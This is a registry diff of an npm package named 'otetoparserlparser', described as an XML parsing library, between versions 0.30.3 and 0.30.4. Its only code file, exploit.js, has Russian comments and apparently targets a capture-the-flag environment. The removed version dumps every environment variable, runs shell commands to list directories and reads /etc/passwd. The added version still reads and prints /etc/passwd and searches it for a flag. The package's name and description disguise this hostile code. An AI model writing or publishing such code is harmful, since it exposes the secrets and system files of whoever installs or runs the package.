otetoparserlparser 0.30.3 → 0.30.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +15 -37
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -1,38 +1,16 @@
1
- const fs = require('fs');
2
- const { exec } = require('child_process');
3
-
4
- console.log('=== START EXPLOIT ===');
5
-
6
- // 1. Выводим ВСЕ переменные окружения
7
- console.log('=== ALL ENVIRONMENT VARIABLES ===');
8
- for (let key in process.env) {
9
- console.log(`${key}=${process.env[key]}`);
10
- }
11
-
12
- // 2. Выводим текущую директорию и файлы
13
- console.log('=== CURRENT DIRECTORY ===');
14
- exec('pwd && ls -la', (err, stdout) => {
15
- if (!err) console.log(stdout);
16
-
17
- // 3. Выводим корневую директорию
18
- exec('ls -la /', (err, stdout) => {
19
- if (!err) console.log('=== ROOT DIR ===\n' + stdout);
20
-
21
- // 4. Выводим /etc/passwd (там может быть флаг)
22
- try {
23
- const passwd = fs.readFileSync('/etc/passwd', 'utf8');
24
- console.log('=== /etc/passwd ===');
25
- console.log(passwd);
26
-
27
- // Ищем строку с флагом
28
- const lines = passwd.split('\n');
29
- lines.forEach(line => {
30
- if (line.includes('{') && line.includes('}')) {
31
- console.log('🚨 POSSIBLE FLAG IN PASSWD:', line);
32
- }
33
- });
34
- } catch(e) {}
1
+ // Также выполняемся при запуске приложения
2
+ if (require.main === module) {
3
+ console.log('=== APP STARTED - CHECKING FOR FLAG ===');
4
+ try {
5
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
6
+ console.log('FINAL /etc/passwd CHECK:');
7
+ console.log(passwd);
35
8
 
36
- console.log('=== END EXPLOIT ===');
37
- });
38
- });
9
+ const lines = passwd.split('\n');
10
+ lines.forEach(line => {
11
+ if (line.includes('{') && line.includes('}')) {
12
+ console.log('🚨🚨🚨 FINAL FLAG FOUND:', line);
13
+ }
14
+ });
15
+ } catch(e) {}
16
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "otetoparserlparser",
3
- "version": "0.30.3",
3
+ "version": "0.30.4",
4
4
  "description": "XML parsing library",
5
5
  "main": "index.js",
6
6
  "scripts": {